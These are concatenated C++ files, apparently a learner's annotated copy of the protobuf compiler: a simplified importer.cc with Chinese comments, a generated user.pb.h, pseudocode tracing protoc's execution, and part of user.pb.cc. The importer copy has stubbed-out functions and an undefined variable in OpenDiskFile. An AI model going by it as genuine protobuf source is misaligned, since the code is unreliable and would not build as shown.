MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // Author: <EMAIL> (<NAME>) // Based on original Protocol Buffers design by // <NAME>, <NAME>, and others. #ifdef _MSC_VER #include <direct.h> #else #include <unistd.h> #endif #include <errno.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <algorithm> #include <memory> #include <google/protobuf/compiler/importer.h> #include <google/protobuf/compiler/parser.h> #include <google/protobuf/io/io_win32.h> #include <google/protobuf/io/tokenizer.h> #include <google/protobuf/io/zero_copy_stream_impl.h> #include <google/protobuf/stubs/strutil.h> #ifdef _WIN32 #include <ctype.h> #endif namespace google { namespace protobuf { namespace compiler { #ifdef _WIN32 // DO NOT include <io.h>, instead create functions in io_win32.{h,cc} and import // them like we do below. using google::protobuf::io::win32::access; using google::protobuf::io::win32::open; #endif // Returns true if the text looks like a Windows-style absolute path, starting // with a drive letter. Example: "C:\foo". TODO(kenton): Share this with // copy in command_line_interface.cc? static bool IsWindowsAbsolutePath(const std::string& text) { return false; } MultiFileErrorCollector::~MultiFileErrorCollector() {} // This class serves two purposes: // - It implements the ErrorCollector interface (used by Tokenizer and Parser) // in terms of MultiFileErrorCollector, using a particular filename. // - It lets us check if any errors have occurred. class SourceTreeDescriptorDatabase::SingleFileErrorCollector : public io::ErrorCollector { public: SingleFileErrorCollector(const std::string& filename, MultiFileErrorCollector* multi_file_error_collector) : filename_(filename), multi_file_error_collector_(multi_file_error_collector), had_errors_(false) {} ~SingleFileErrorCollector() {} bool had_errors() { return had_errors_; } // implements ErrorCollector --------------------------------------- void AddError(int line, int column, const std::string& message) override { if (multi_file_error_collector_ != NULL) { multi_file_error_collector_->AddError(filename_, line, column, message); } had_errors_ = true; } private: std::string filename_; MultiFileErrorCollector* multi_file_error_collector_; bool had_errors_; }; // =================================================================== SourceTreeDescriptorDatabase::SourceTreeDescriptorDatabase( SourceTree* source_tree) : source_tree_(source_tree), fallback_database_(nullptr), error_collector_(nullptr), using_validation_error_collector_(false), validation_error_collector_(this) {} SourceTreeDescriptorDatabase::SourceTreeDescriptorDatabase( SourceTree* source_tree, DescriptorDatabase* fallback_database) : source_tree_(source_tree), fallback_database_(fallback_database), error_collector_(nullptr), using_validation_error_collector_(false), validation_error_collector_(this) {} SourceTreeDescriptorDatabase::~SourceTreeDescriptorDatabase() {} bool SourceTreeDescriptorDatabase::FindFileByName(const std::string& filename, FileDescriptorProto* output) { std::unique_ptr<io::ZeroCopyInputStream> input(source_tree_->Open(filename)); output->set_name(filename); io::Tokenizer tokenizer(input.get(), nullptr); Parser parser; return parser.Parse(&tokenizer, output); } bool SourceTreeDescriptorDatabase::FindFileContainingSymbol( const std::string& symbol_name, FileDescriptorProto* output) { return false; } bool SourceTreeDescriptorDatabase::FindFileContainingExtension( const std::string& containing_type, int field_number, FileDescriptorProto* output) { return false; } // ------------------------------------------------------------------- SourceTreeDescriptorDatabase::ValidationErrorCollector:: ValidationErrorCollector(SourceTreeDescriptorDatabase* owner) : owner_(owner) {} SourceTreeDescriptorDatabase::ValidationErrorCollector:: ~ValidationErrorCollector() {} void SourceTreeDescriptorDatabase::ValidationErrorCollector::AddError( const std::string& filename, const std::string& element_name, const Message* descriptor, ErrorLocation location, const std::string& message) { if (owner_->error_collector_ == NULL) return; int line, column; if (location == DescriptorPool::ErrorCollector::IMPORT) { owner_->source_locations_.FindImport(descriptor, element_name, &line, &column); } else { owner_->source_locations_.Find(descriptor, location, &line, &column); } owner_->error_collector_->AddError(filename, line, column, message); } void SourceTreeDescriptorDatabase::ValidationErrorCollector::AddWarning( const std::string& filename, const std::string& element_name, const Message* descriptor, ErrorLocation location, const std::string& message) { if (owner_->error_collector_ == NULL) return; int line, column; if (location == DescriptorPool::ErrorCollector::IMPORT) { owner_->source_locations_.FindImport(descriptor, element_name, &line, &column); } else { owner_->source_locations_.Find(descriptor, location, &line, &column); } owner_->error_collector_->AddWarning(filename, line, column, message); } // =================================================================== Importer::Importer(SourceTree* source_tree, MultiFileErrorCollector* error_collector) : database_(source_tree), pool_(&database_, database_.GetValidationErrorCollector()) { pool_.EnforceWeakDependencies(true); database_.RecordErrorsTo(error_collector); } Importer::~Importer() {} const FileDescriptor* Importer::Import(const std::string& filename) { return pool_.FindFileByName(filename); } void Importer::AddUnusedImportTrackFile(const std::string& file_name) { pool_.AddUnusedImportTrackFile(file_name); } void Importer::ClearUnusedImportTrackFiles() { pool_.ClearUnusedImportTrackFiles(); } // =================================================================== SourceTree::~SourceTree() {} std::string SourceTree::GetLastErrorMessage() { return "File not found."; } DiskSourceTree::DiskSourceTree() {} DiskSourceTree::~DiskSourceTree() {} static inline char LastChar(const std::string& str) { return str[str.size() - 1]; } // 移除目录路径中的 /./ static std::string CanonicalizePath(std::string path) { std::vector<std::string> canonical_parts; std::vector<std::string> parts = Split(path, "/", true); for (auto& part : parts) { if (!part.empty() && part != ".") { canonical_parts.push_back(part); } } std::string result = Join(canonical_parts, "/"); if (!path.empty() && path[0] == '/') { result = '/' + result; } if (!path.empty() && LastChar(path) == '/' && !result.empty() && LastChar(result) != '/') { result += '/'; } return result; } static inline bool ContainsParentReference(const std::string& path) { return path == ".." || HasPrefixString(path, "../") || HasSuffixString(path, "/..") || path.find("/../") != string::npos; } /** 把 filename 的 old_prefix 前缀替换成 new_prefix. ApplyMapping()返回true时, result才有意义 Examples: string result; assert(ApplyMapping("foo/bar", "", "baz", &result)); assert(result == "baz/foo/bar"); // assert(ApplyMapping("foo/bar", "foo", "baz", &result)); assert(result == "baz/bar"); // assert(ApplyMapping("foo", "foo", "bar", &result)); assert(result == "bar"); // assert(!ApplyMapping("foo/bar", "baz", "qux", &result)); assert(!ApplyMapping("foo/bar", "baz", "qux", &result)); assert(!ApplyMapping("foobar", "foo", "baz", &result)); */ static bool ApplyMapping(const std::string& filename, const std::string& old_prefix, const std::string& new_prefix, std::string* result) { if (old_prefix.empty()) { // old_prefix matches any relative path. if (ContainsParentReference(filename)) { // We do not allow the file name to use "..". return false; } if (HasPrefixString(filename, "/")) { // This is an absolute path, so it isn't matched by the empty string. return false; } result->assign(new_prefix); if (!result->empty()) result->push_back('/'); result->append(filename); return true; } else if (HasPrefixString(filename, old_prefix)) { // old_prefix is a prefix of the filename. Is it the whole filename? if (filename.size() == old_prefix.size()) { // Yep, it's an exact match. *result = new_prefix; return true; } else { // Not an exact match. Is the next character a '/'? Otherwise, // this isn't actually a match at all. E.g. the prefix "foo/bar" // does not match the filename "foo/barbaz". int after_prefix_start = -1; if (filename[old_prefix.size()] == '/') { after_prefix_start = old_prefix.size() + 1; } else if (filename[old_prefix.size() - 1] == '/') { // old_prefix is never empty, and canonicalized paths never have // consecutive '/' characters. after_prefix_start = old_prefix.size(); } if (after_prefix_start != -1) { // Yep. So the prefixes are directories and the filename is a file // inside them. std::string after_prefix = filename.substr(after_prefix_start); if (ContainsParentReference(after_prefix)) { // We do not allow the file name to use "..". return false; } result->assign(new_prefix); if (!result->empty()) result->push_back('/'); result->append(after_prefix); return true; } } } return false; } void DiskSourceTree::MapPath(const std::string& virtual_path, const std::string& disk_path) { mappings_.push_back(Mapping(virtual_path, disk_path)); } DiskSourceTree::DiskFileToVirtualFileResult DiskSourceTree::DiskFileToVirtualFile(const std::string& disk_file, std::string* virtual_file, std::string* shadowing_disk_file) { std::string canonical_disk_file = CanonicalizePath(disk_file); // virtual_file不包含disk_path时 no_mapping, disk_file不是物理路径 int mapping_index = -1; for (int i = 0; i < mappings_.size(); i++) { if (ApplyMapping(canonical_disk_file, mappings_[i].disk_path/* "." */, mappings_[i].virtual_path/* "" */, virtual_file)) { mapping_index = i; break; } } if (mapping_index == -1) { return NO_MAPPING; } for (int i = 0; i < mapping_index; i++) { if (ApplyMapping(*virtual_file, mappings_[i].virtual_path/* "" */, mappings_[i].disk_path/* "." */, shadowing_disk_file)) { if (access(shadowing_disk_file->c_str(), F_OK) >= 0) { return SHADOWED; } } } shadowing_disk_file->clear(); // 判断disk_file是否能正常打开 std::unique_ptr<io::ZeroCopyInputStream> stream(OpenDiskFile(disk_file)); if (stream == NULL) { return CANNOT_OPEN; } return SUCCESS; } bool DiskSourceTree::VirtualFileToDiskFile(const std::string& virtual_file, std::string* disk_file) { std::unique_ptr<io::ZeroCopyInputStream> stream(OpenVirtualFile(virtual_file, disk_file)); return stream != NULL; } io::ZeroCopyInputStream* DiskSourceTree::Open(const std::string& filename) { return OpenVirtualFile(filename, NULL); } std::string DiskSourceTree::GetLastErrorMessage() { return last_error_message_; } io::ZeroCopyInputStream* DiskSourceTree::OpenVirtualFile(const std::string& virtual_file, std::string* disk_file) { for (int i = 0; i < mappings_.size(); i++) { // 把 virtual_file 从 mappings_[i].virtual_path目录 换成 mappings_[i].disk_path目录 std::string temp_disk_file; if (ApplyMapping(virtual_file, mappings_[i].virtual_path, mappings_[i].disk_path, &temp_disk_file)) { io::ZeroCopyInputStream* stream = OpenDiskFile(temp_disk_file); if (stream != NULL) { if (disk_file != NULL) { *disk_file = temp_disk_file; } return stream; } } } last_error_message_ = "File not found."; return NULL; } io::ZeroCopyInputStream* DiskSourceTree::OpenDiskFile(const std::string& filename) { int fd = open(filename.c_str(), O_RDONLY); if (fd < 0) { return NULL; } io::FileInputStream* result = new io::FileInputStream(file_descriptor); result->SetCloseOnDelete(true); return result; } } // namespace compiler } // namespace protobuf } // namespace google <file_sep>#pragma once #include <limits> #include <string> #include <google/protobuf/port_def.inc> #if PROTOBUF_VERSION < 3010000 #error This file was generated by a newer version of protoc which is #error incompatible with your Protocol Buffer headers. Please update #error your headers. #endif #if 3010000 < PROTOBUF_MIN_PROTOC_VERSION #error This file was generated by an older version of protoc which is #error incompatible with your Protocol Buffer headers. Please #error regenerate this file with a newer version of protoc. #endif #include <google/protobuf/port_undef.inc> #include <google/protobuf/io/coded_stream.h> #include <google/protobuf/arena.h> #include <google/protobuf/arenastring.h> #include <google/protobuf/generated_message_table_driven.h> #include <google/protobuf/generated_message_util.h> #include <google/protobuf/inlined_string_field.h> #include <google/protobuf/metadata.h> #include <google/protobuf/generated_message_reflection.h> #include <google/protobuf/message.h> #include <google/protobuf/repeated_field.h> // IWYU pragma: export #include <google/protobuf/extension_set.h> // IWYU pragma: export #include <google/protobuf/unknown_field_set.h> // @@protoc_insertion_point(includes) #include <google/protobuf/port_def.inc> #define PROTOBUF_INTERNAL_EXPORT_protobuf_2fuser_2eproto PROTOBUF_NAMESPACE_OPEN namespace internal { class AnyMetadata; } // namespace internal PROTOBUF_NAMESPACE_CLOSE // Internal implementation detail -- do not use these members. struct TableStruct_protobuf_2fuser_2eproto { static const ::PROTOBUF_NAMESPACE_ID::internal::ParseTableField entries[] PROTOBUF_SECTION_VARIABLE(protodesc_cold); static const ::PROTOBUF_NAMESPACE_ID::internal::AuxillaryParseTableField aux[] PROTOBUF_SECTION_VARIABLE(protodesc_cold); static const ::PROTOBUF_NAMESPACE_ID::internal::ParseTable schema[1] PROTOBUF_SECTION_VARIABLE(protodesc_cold); static const ::PROTOBUF_NAMESPACE_ID::internal::FieldMetadata field_metadata[]; static const ::PROTOBUF_NAMESPACE_ID::internal::SerializationTable serialization_table[]; static const ::PROTOBUF_NAMESPACE_ID::uint32 offsets[]; }; extern const ::PROTOBUF_NAMESPACE_ID::internal::DescriptorTable descriptor_table_protobuf_2fuser_2eproto; namespace prototest { class User; class UserDefaultTypeInternal; extern UserDefaultTypeInternal _User_default_instance_; } // namespace prototest PROTOBUF_NAMESPACE_OPEN template<> ::prototest::User* Arena::CreateMaybeMessage<::prototest::User>(Arena*); PROTOBUF_NAMESPACE_CLOSE namespace prototest { // =================================================================== class User : public ::PROTOBUF_NAMESPACE_ID::Message { public: User(); virtual ~User(); User(const User& from); User(User&& from) noexcept : User() { *this = ::std::move(from); } inline User& operator=(const User& from) { CopyFrom(from); return *this; } inline User& operator=(User&& from) noexcept { if (GetArenaNoVirtual() == from.GetArenaNoVirtual()) { if (this != &from) InternalSwap(&from); } else { CopyFrom(from); } return *this; } inline const ::PROTOBUF_NAMESPACE_ID::UnknownFieldSet& unknown_fields() const { return _internal_metadata_.unknown_fields(); } inline ::PROTOBUF_NAMESPACE_ID::UnknownFieldSet* mutable_unknown_fields() { return _internal_metadata_.mutable_unknown_fields(); } static const ::PROTOBUF_NAMESPACE_ID::Descriptor* descriptor() { return GetDescriptor(); } static const ::PROTOBUF_NAMESPACE_ID::Descriptor* GetDescriptor() { return GetMetadataStatic().descriptor; } static const ::PROTOBUF_NAMESPACE_ID::Reflection* GetReflection() { return GetMetadataStatic().reflection; } static const User& default_instance(); static void InitAsDefaultInstance(); // FOR INTERNAL USE ONLY static inline const User* internal_default_instance() { return reinterpret_cast<const User*>( &_User_default_instance_); } static constexpr int kIndexInFileMessages = 0; friend void swap(User& a, User& b) { a.Swap(&b); } inline void Swap(User* other) { if (other == this) return; InternalSwap(other); } // implements Message ---------------------------------------------- inline User* New() const final { return CreateMaybeMessage<User>(nullptr); } User* New(::PROTOBUF_NAMESPACE_ID::Arena* arena) const final { return CreateMaybeMessage<User>(arena); } void CopyFrom(const ::PROTOBUF_NAMESPACE_ID::Message& from) final; void MergeFrom(const ::PROTOBUF_NAMESPACE_ID::Message& from) final; void CopyFrom(const User& from); void MergeFrom(const User& from); PROTOBUF_ATTRIBUTE_REINITIALIZES void Clear() final; bool IsInitialized() const final; size_t ByteSizeLong() const final; const char* _InternalParse(const char* ptr, ::PROTOBUF_NAMESPACE_ID::internal::ParseContext* ctx) final; ::PROTOBUF_NAMESPACE_ID::uint8* InternalSerializeWithCachedSizesToArray( ::PROTOBUF_NAMESPACE_ID::uint8* target, ::PROTOBUF_NAMESPACE_ID::io::EpsCopyOutputStream* stream) const final; int GetCachedSize() const final { return _cached_size_.Get(); } private: inline void SharedCtor(); inline void SharedDtor(); void SetCachedSize(int size) const final; void InternalSwap(User* other); friend class ::PROTOBUF_NAMESPACE_ID::internal::AnyMetadata; static ::PROTOBUF_NAMESPACE_ID::StringPiece FullMessageName() { return "prototest.User"; } private: inline ::PROTOBUF_NAMESPACE_ID::Arena* GetArenaNoVirtual() const { return nullptr; } inline void* MaybeArenaPtr() const { return nullptr; } public: ::PROTOBUF_NAMESPACE_ID::Metadata GetMetadata() const final; private: static ::PROTOBUF_NAMESPACE_ID::Metadata GetMetadataStatic() { ::PROTOBUF_NAMESPACE_ID::internal::AssignDescriptors(&::descriptor_table_protobuf_2fuser_2eproto); return ::descriptor_table_protobuf_2fuser_2eproto.file_level_metadata[kIndexInFileMessages]; } public: // nested types ---------------------------------------------------- // accessors ------------------------------------------------------- enum : int { kNameFieldNumber = 2, kIdFieldNumber = 1, kAgeFieldNumber = 3, }; // required string name = 2; bool has_name() const; private: bool _internal_has_name() const; public: void clear_name(); const std::string& name() const; void set_name(const std::string& value); void set_name(std::string&& value); void set_name(const char* value); void set_name(const char* value, size_t size); std::string* mutable_name(); std::string* release_name(); void set_allocated_name(std::string* name); private: const std::string& _internal_name() const; void _internal_set_name(const std::string& value); std::string* _internal_mutable_name(); public: // required uint64 id = 1; bool has_id() const; private: bool _internal_has_id() const; public: void clear_id(); ::PROTOBUF_NAMESPACE_ID::uint64 id() const; void set_id(::PROTOBUF_NAMESPACE_ID::uint64 value); private: ::PROTOBUF_NAMESPACE_ID::uint64 _internal_id() const; void _internal_set_id(::PROTOBUF_NAMESPACE_ID::uint64 value); public: // optional int32 age = 3; bool has_age() const; private: bool _internal_has_age() const; public: void clear_age(); ::PROTOBUF_NAMESPACE_ID::int32 age() const; void set_age(::PROTOBUF_NAMESPACE_ID::int32 value); private: ::PROTOBUF_NAMESPACE_ID::int32 _internal_age() const; void _internal_set_age(::PROTOBUF_NAMESPACE_ID::int32 value); public: // @@protoc_insertion_point(class_scope:prototest.User) private: class _Internal; // helper for ByteSizeLong() size_t RequiredFieldsByteSizeFallback() const; ::PROTOBUF_NAMESPACE_ID::internal::InternalMetadataWithArena _internal_metadata_; ::PROTOBUF_NAMESPACE_ID::internal::HasBits<1> _has_bits_; mutable ::PROTOBUF_NAMESPACE_ID::internal::CachedSize _cached_size_; ::PROTOBUF_NAMESPACE_ID::internal::ArenaStringPtr name_; ::PROTOBUF_NAMESPACE_ID::uint64 id_; ::PROTOBUF_NAMESPACE_ID::int32 age_; friend struct ::TableStruct_protobuf_2fuser_2eproto; }; // =================================================================== // =================================================================== #ifdef __GNUC__ #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wstrict-aliasing" #endif // __GNUC__ // User // required uint64 id = 1; inline bool User::_internal_has_id() const { bool value = (_has_bits_[0] & 0x00000002u) != 0; return value; } inline bool User::has_id() const { return _internal_has_id(); } inline void User::clear_id() { id_ = PROTOBUF_ULONGLONG(0); _has_bits_[0] &= ~0x00000002u; } inline ::PROTOBUF_NAMESPACE_ID::uint64 User::_internal_id() const { return id_; } inline ::PROTOBUF_NAMESPACE_ID::uint64 User::id() const { // @@protoc_insertion_point(field_get:prototest.User.id) return _internal_id(); } inline void User::_internal_set_id(::PROTOBUF_NAMESPACE_ID::uint64 value) { _has_bits_[0] |= 0x00000002u; id_ = value; } inline void User::set_id(::PROTOBUF_NAMESPACE_ID::uint64 value) { _internal_set_id(value); // @@protoc_insertion_point(field_set:prototest.User.id) } // required string name = 2; inline bool User::_internal_has_name() const { bool value = (_has_bits_[0] & 0x00000001u) != 0; return value; } inline bool User::has_name() const { return _internal_has_name(); } inline void User::clear_name() { name_.ClearToEmptyNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); _has_bits_[0] &= ~0x00000001u; } inline const std::string& User::name() const { // @@protoc_insertion_point(field_get:prototest.User.name) return _internal_name(); } inline void User::set_name(const std::string& value) { _internal_set_name(value); // @@protoc_insertion_point(field_set:prototest.User.name) } inline std::string* User::mutable_name() { // @@protoc_insertion_point(field_mutable:prototest.User.name) return _internal_mutable_name(); } inline const std::string& User::_internal_name() const { return name_.GetNoArena(); } inline void User::_internal_set_name(const std::string& value) { _has_bits_[0] |= 0x00000001u; name_.SetNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), value); } inline void User::set_name(std::string&& value) { _has_bits_[0] |= 0x00000001u; name_.SetNoArena( &::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), ::std::move(value)); // @@protoc_insertion_point(field_set_rvalue:prototest.User.name) } inline void User::set_name(const char* value) { GOOGLE_DCHECK(value != nullptr); _has_bits_[0] |= 0x00000001u; name_.SetNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), ::std::string(value)); // @@protoc_insertion_point(field_set_char:prototest.User.name) } inline void User::set_name(const char* value, size_t size) { _has_bits_[0] |= 0x00000001u; name_.SetNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), ::std::string(reinterpret_cast<const char*>(value), size)); // @@protoc_insertion_point(field_set_pointer:prototest.User.name) } inline std::string* User::_internal_mutable_name() { _has_bits_[0] |= 0x00000001u; return name_.MutableNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); } inline std::string* User::release_name() { // @@protoc_insertion_point(field_release:prototest.User.name) if (!has_name()) { return nullptr; } _has_bits_[0] &= ~0x00000001u; return name_.ReleaseNonDefaultNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); } inline void User::set_allocated_name(std::string* name) { if (name != nullptr) { _has_bits_[0] |= 0x00000001u; } else { _has_bits_[0] &= ~0x00000001u; } name_.SetAllocatedNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), name); // @@protoc_insertion_point(field_set_allocated:prototest.User.name) } // optional int32 age = 3; inline bool User::_internal_has_age() const { bool value = (_has_bits_[0] & 0x00000004u) != 0; return value; } inline bool User::has_age() const { return _internal_has_age(); } inline void User::clear_age() { age_ = 0; _has_bits_[0] &= ~0x00000004u; } inline ::PROTOBUF_NAMESPACE_ID::int32 User::_internal_age() const { return age_; } inline ::PROTOBUF_NAMESPACE_ID::int32 User::age() const { // @@protoc_insertion_point(field_get:prototest.User.age) return _internal_age(); } inline void User::_internal_set_age(::PROTOBUF_NAMESPACE_ID::int32 value) { _has_bits_[0] |= 0x00000004u; age_ = value; } inline void User::set_age(::PROTOBUF_NAMESPACE_ID::int32 value) { _internal_set_age(value); // @@protoc_insertion_point(field_set:prototest.User.age) } #ifdef __GNUC__ #pragma GCC diagnostic pop #endif // __GNUC__ // @@protoc_insertion_point(namespace_scope) } // namespace prototest <file_sep>// @[main.cc:01] CommandLineInterface::Run(int argc, const char* const argv[]) { // 解析参数 ParseArguments(argc, argv) // @[main.cc:01.01] -- // 构造 source_tree_database 用于查找依赖的其他proto文件 auto disk_source_tree = std::make_unique<DiskSourceTree>() // c++14 InitializeDiskSourceTree(disk_source_tree, nullptr) for string& e : proto_path_ disk_source_tree.MapPath(e.first, e.second) auto source_tree_database = make_unique<SourceTreeDescriptorDatabase>(disk_source_tree, nullptr) auto descriptor_pool = make_unique<DescriptorPool>(fallback_database=source_tree_database) -- // 把 input_files_ 解析成 FileDescriptor vector<FileDescriptor*> parsed_files ParseInputFiles(descriptor_pool, &parsed_files) // @[main.cc:01.02] -- OutputDirective& out_dir = output_directives_[0] auto* gen_ctx = new GeneratorContextImpl(parsed_files) GenerateOutput(parsed_files, out_dir, gen_ctx) // @[code_gen.cc:01] out_dir.generator.GenerateAll(parsed_files, "", gen_ctx) // 写磁盘文件 gen_ctx.WriteAllToDisk(out_dir.output_location) } // @[main.cc:01.01] CommandLineInterface::ParseArguments(int argc, const char* const argv[]):ParseArgumentStatus { // protoc --cpp_out=. ./proto/hello.proto executable_name_ = argv[0] for arg : argv[1:argc] // arg 的格式是 "--name=value" 或 "value" name, value = ParseArgument(arg) // InterpretArgument(name, value) if name.empty() input_files_.push_back(value) else assert(name, "cpp_out") // generators_by_flag_name_: map<string,GeneratorInfo> CppGenerator* generator = dynamic_cast<CppGenerator*>(generators_by_flag_name_[name].generator) output_directives_.push_back(OutputDirective{ name:name, generator:generator, output_location:value, parameter:"", }) proto_path_.push_back(pair<string,string>("", ".")) } // @[main.cc:01.02] CommandLineInterface::ParseInputFiles(DescriptorPool* descriptor_pool, vector<FileDescriptor*>* parsed_files) { for string& input_file : input_files_ descriptor_pool.unused_import_track_files_.insert(input_file) FileDescriptor* parsed_file = descriptor_pool.FindFileByName(input_file) // @[main.cc:01.02.01] descriptor_pool.unused_import_track_files_.clear() parsed_files.push_back(parsed_file) } // @[main.cc:01.02.01] DescriptorPool::FindFileByName(string& name):FileDescriptor* { FileDescriptor* ret = this.FindFileDesc(name) return tables_.files_by_name_.getOrDefault(name, nullptr) if (ret != nullptr) return ret -- TryFindFileInFallbackDatabase(name) FileDescriptorProto file_proto fallback_database_.FindFileByName(name, &file_proto) // @[main.cc:01.02.01.01] -- // 把 file_proto 转化成 FileDescriptor*, 并存到 tables_ 里 BuildFileFromDatabase(file_proto) // descriptor.cc DescriptorBuilder b(this, tables_, nullptr) b.BuildFile(file_proto) // @[main.cc:01.02.01.02], tables_.AddFile return tables_.FindFile(name) } // @[main.cc:01.02.01.01] SourceTreeDescriptorDatabase::FindFileByName(string& filename, FileDescriptorProto* output) { output.set_name(filename) auto input = make_unique<ZeroCopyInputStream>(source_tree_.Open(filename)) Tokenizer tokenizer(input, nullptr) Parser parser parser.Parse(&tokenizer, output) // @[parser.cc:01] } // @[main.cc:01.02.01.02] DescriptorBuilder::BuildFile(FileDescriptorProto& proto):FileDescriptor* { return BuildFileImpl(proto) auto* ret = new FileDescriptor ret.source_code_info_ = new SourceCodeInfo(proto.source_code_info) ret.tables_ = file_tables_ = new FileDescriptorTables* ret.name_ = proto.name ret.package_ = proto.package copy message_type/enum_type from proto to ret tables_.AddFile(ret) return ret } <file_sep>#include "proto/user.pb.h" #include <algorithm> #include <google/protobuf/io/coded_stream.h> #include <google/protobuf/extension_set.h> #include <google/protobuf/wire_format_lite.h> #include <google/protobuf/descriptor.h> #include <google/protobuf/generated_message_reflection.h> #include <google/protobuf/reflection_ops.h> #include <google/protobuf/wire_format.h> #include <google/protobuf/port_def.inc> // ============================================================================ //@ FileGenerator::GenerateSourceDefaultInstance() namespace prototest { class UserDefaultTypeInternal { public: ::PROTOBUF_NAMESPACE_ID::internal::ExplicitlyConstructed<User> _instance; } _User_default_instance_; } // namespace prototest // ============================================================================ //@ FileGenerator::GenerateInitForSCC() // 用于初始化 default_instance static void InitDefaultsscc_info_User_proto_2fuser_2eproto() { GOOGLE_PROTOBUF_VERIFY_VERSION; { void* ptr = &::prototest::_User_default_instance_; new (ptr) ::prototest::User(); ::PROTOBUF_NAMESPACE_ID::internal::OnShutdownDestroyMessage(ptr); } ::prototest::User::InitAsDefaultInstance(); } ::PROTOBUF_NAMESPACE_ID::internal::SCCInfo<0> scc_info_User_proto_2fuser_2eproto = {{ATOMIC_VAR_INIT(::PROTOBUF_NAMESPACE_ID::internal::SCCInfoBase::kUninitialized), 0, 0, InitDefaultsscc_info_User_proto_2fuser_2eproto}, {}}; // ============================================================================ //@ FileGenerator::GenerateReflectionInitializationCode() static ::PROTOBUF_NAMESPACE_ID::Metadata file_level_metadata_proto_2fuser_2eproto[1]; static constexpr ::PROTOBUF_NAMESPACE_ID::EnumDescriptor const** file_level_enum_descriptors_proto_2fuser_2eproto = nullptr; static constexpr ::PROTOBUF_NAMESPACE_ID::ServiceDescriptor const** file_level_service_descriptors_proto_2fuser_2eproto = nullptr; const ::PROTOBUF_NAMESPACE_ID::uint32 TableStruct_proto_2fuser_2eproto::offsets[] PROTOBUF_SECTION_VARIABLE(protodesc_cold) = { PROTOBUF_FIELD_OFFSET(::prototest::User, _has_bits_), PROTOBUF_FIELD_OFFSET(::prototest::User, _internal_metadata_), ~0u, // no _extensions_ ~0u, // no _oneof_case_ ~0u, // no _weak_field_map_ PROTOBUF_FIELD_OFFSET(::prototest::User, id_), PROTOBUF_FIELD_OFFSET(::prototest::User, name_), PROTOBUF_FIELD_OFFSET(::prototest::User, age_), 1, 0, 2, }; static const ::PROTOBUF_NAMESPACE_ID::internal::MigrationSchema schemas[] PROTOBUF_SECTION_VARIABLE(protodesc_cold) = { { 0, 8, sizeof(::prototest::User)}, }; static ::PROTOBUF_NAMESPACE_ID::Message const * const file_default_instances[] = { reinterpret_cast<const ::PROTOBUF_NAMESPACE_ID::Message*>(&::prototest::_User_default_instance_), }; const char descriptor_table_protodef_proto_2fuser_2eproto[] PROTOBUF_SECTION_VARIABLE(protodesc_cold) = "\n\020proto/user.proto\022\tprototest\"-\n\004User\022\n\n" "\002id\030\001 \002(\004\022\014\n\004name\030\002 \002(\t\022\013\n\003age\030\003 \001(\005" ; static const ::PROTOBUF_NAMESPACE_ID::internal::DescriptorTable*const descriptor_table_proto_2fuser_2eproto_deps[1] = { }; static ::PROTOBUF_NAMESPACE_ID::internal::SCCInfoBase*const descriptor_table_proto_2fuser_2eproto_sccs[1] = { &scc_info_User_proto_2fuser_2eproto.base, }; static ::PROTOBUF_NAMESPACE_ID::internal::once_flag descriptor_table_proto_2fuser_2eproto_once; static bool descriptor_table_proto_2fuser_2eproto_initialized = false; const ::PROTOBUF_NAMESPACE_ID::internal::DescriptorTable descriptor_table_proto_2fuser_2eproto = { &descriptor_table_proto_2fuser_2eproto_initialized, descriptor_table_protodef_proto_2fuser_2eproto, "proto/user.proto", 76, &descriptor_table_proto_2fuser_2eproto_once, descriptor_table_proto_2fuser_2eproto_sccs, descriptor_table_proto_2fuser_2eproto_deps, 1, 0, schemas, file_default_instances, TableStruct_proto_2fuser_2eproto::offsets, file_level_metadata_proto_2fuser_2eproto, 1, file_level_enum_descriptors_proto_2fuser_2eproto, file_level_service_descriptors_proto_2fuser_2eproto, }; // Force running AddDescriptors() at dynamic initialization time. static bool dynamic_init_dummy_proto_2fuser_2eproto = ( ::PROTOBUF_NAMESPACE_ID::internal::AddDescriptors(&descriptor_table_proto_2fuser_2eproto), true); // ============================================================================ namespace prototest { // ============================================================================ //@ MessageGenerator::GenerateClassMethods() void User::InitAsDefaultInstance() { } class User::_Internal { public: using HasBits = decltype(std::declval<User>()._has_bits_); static void set_has_id(HasBits* has_bits) { (*has_bits)[0] |= 2u; } static void set_has_name(HasBits* has_bits) { (*has_bits)[0] |= 1u; } static void set_has_age(HasBits* has_bits) { (*has_bits)[0] |= 4u; } }; //@ MessageGenerator::GenerateStructors() User::User() : ::PROTOBUF_NAMESPACE_ID::Message(), _internal_metadata_(nullptr) { SharedCtor(); // @@protoc_insertion_point(constructor:prototest.User) } User::User(const User& from) : ::PROTOBUF_NAMESPACE_ID::Message(), _internal_metadata_(nullptr), _has_bits_(from._has_bits_) { _internal_metadata_.MergeFrom(from._internal_metadata_); name_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); if (from._internal_has_name()) { 